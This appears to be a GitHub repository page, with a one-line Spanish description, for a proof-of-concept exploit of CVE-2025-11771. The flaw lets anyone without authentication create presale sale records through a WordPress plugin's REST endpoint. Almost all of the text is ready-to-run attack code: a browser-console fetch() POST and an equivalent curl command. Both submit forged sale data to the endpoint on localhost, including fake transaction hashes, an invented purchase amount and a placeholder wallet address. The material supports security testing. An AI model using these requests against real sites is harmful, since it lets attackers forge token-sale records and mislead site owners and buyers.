jfriedli/cve-2025-11771Prueba de concepto del exploit para CVE-2025-11771 que demuestra la creación no autenticada de registros de venta a través de un endpoint de la API REST de WordPress, con ejemplos de consola del navegador y curl para pruebas de seguridad.
fetch('http://localhost/wordpress/wp-json/tokenico/create-sale-record', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
networkId: "137",
presaleKey: "TESTKEY1234",
createdAt: String(Date.now()),
tokenAmount: "1000",
nativeCurrency: "MATIC",
purchaseAmount: "777",
transactionHash: "evil-" + Date.now(),
transactionUrl: "https://example.org/tx/" + Date.now(),
receiverAddress: "0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef",
receiverAddressUrl: "https://example.org/address/0xdead"
})
}).then(r => r.text()).then(console.log);
curlcurl -s -X POST 'http://localhost/wordpress/wp-json/tokenico/create-sale-record' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'networkId=137&presaleKey=TESTKEY1234&createdAt=1724246400000&tokenAmount=1000&nativeCurrency=MATIC&purchaseAmount=777&transactionHash=evil-1724246400000&transactionUrl=https://example.org/tx/evil-1724246400000&receiverAddress=0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef&receiverAddressUrl=https://example.org/address/0xdead'